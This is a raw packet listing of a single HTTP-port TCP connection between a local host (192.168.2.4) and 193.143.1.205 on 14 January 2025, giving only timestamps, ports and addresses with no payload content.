Jan 14, 2025 08:45:02.739100933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739115000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739130974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739219904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.739219904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.739219904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.739386082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739402056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739425898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739439964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739443064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.739456892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739476919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.739480972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739500999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739512920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739520073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.739527941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739543915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739550114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.739558935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.739579916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.780993938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781029940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781045914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781060934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781075954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781090021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781105995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781115055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781121969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781130075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781137943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781156063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781172991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781465054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781491041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781505108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781536102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781570911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781594992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781610966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781611919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781649113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781649113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781665087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781681061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781696081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781701088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781730890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781789064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781804085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781819105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781835079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781846046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781851053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781866074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781876087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781882048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781898022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.781907082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.781939983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782123089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782149076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782181978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782289982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782314062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782330036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782345057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782349110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782360077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782383919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782387972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782398939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782413960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782418966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782428980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782444954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782455921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782473087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782483101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782488108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782505035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782520056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782527924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782537937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782563925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782565117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782581091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782596111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782605886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782613039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782627106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782641888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782645941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782656908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782674074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782690048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782748938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782773972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782789946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782804966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782813072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782821894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782839060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782849073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782855988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782871008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782880068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782886982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782902002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782910109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782942057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.782974005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.782989025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783020973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783032894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783035040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783051014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783066034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783073902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783082008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783096075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783101082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783112049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783133030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783157110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783171892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783188105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783191919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783201933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783217907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783221960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783235073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783251047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783252954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783271074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783286095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783289909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783299923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783322096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783328056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783353090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783363104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783369064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783384085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783405066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783457041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783493042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783497095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783512115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783546925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783548117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783562899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783577919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783593893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783596039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783627987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783699036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783714056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783730030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783749104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783754110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783768892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783783913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783787966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783807039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783818960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.783837080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.783862114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.786537886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.825977087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826047897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826082945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826096058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826117039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826149940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826209068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826251984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826257944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826286077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826292038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826332092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826342106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826375008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826409101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826411009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826458931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826492071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826495886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826525927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826558113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826561928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826591015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826622963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826626062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826657057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826689005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826692104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826721907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826754093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826755047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.826788902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.826824903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.868707895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.868746042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.868779898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.868814945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.868849993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.868881941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.868897915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.868915081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.868942022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869007111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869029045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869070053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869225979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869256020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869290113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869306087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869339943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869365931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869373083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869405985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869411945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869457960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869492054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869508028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869519949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869560003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869569063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869601965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869633913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869656086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869688034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869728088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869738102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869771004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869807959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869821072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869870901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869903088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869909048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869935989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.869973898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.869983912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870017052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870048046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870054007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870081902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870112896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870126963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870146036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870179892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870210886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870213032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870245934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870265961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870280981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870388985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870414972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870420933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870455027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870465040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870510101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870543957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870554924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870578051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870609999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870613098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870641947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870668888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870676994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870701075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870734930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870738029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870764971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870803118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870815992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870847940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870877981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870893955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.870909929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870944977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.870945930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871005058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871037960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871042013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871073008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871105909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871110916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871138096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871170044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871180058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871203899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871237040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871242046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871268988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871303082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871305943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871356010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871390104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871397018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871422052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871455908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871469021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871488094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871520042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871526003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871551991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871584892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871592045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871618032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871649981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871654987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871689081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871721029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871728897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871753931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871787071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871793985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871818066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871851921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871857882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871882915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871915102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871922970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.871947050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871980906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.871985912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.872013092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.872046947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.872050047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.872078896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.872111082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.872117996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.872144938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.872181892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 08:45:02.872256994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 08:45:02.872288942 CET	80	49730	193.143.1.205	192.168.2.4
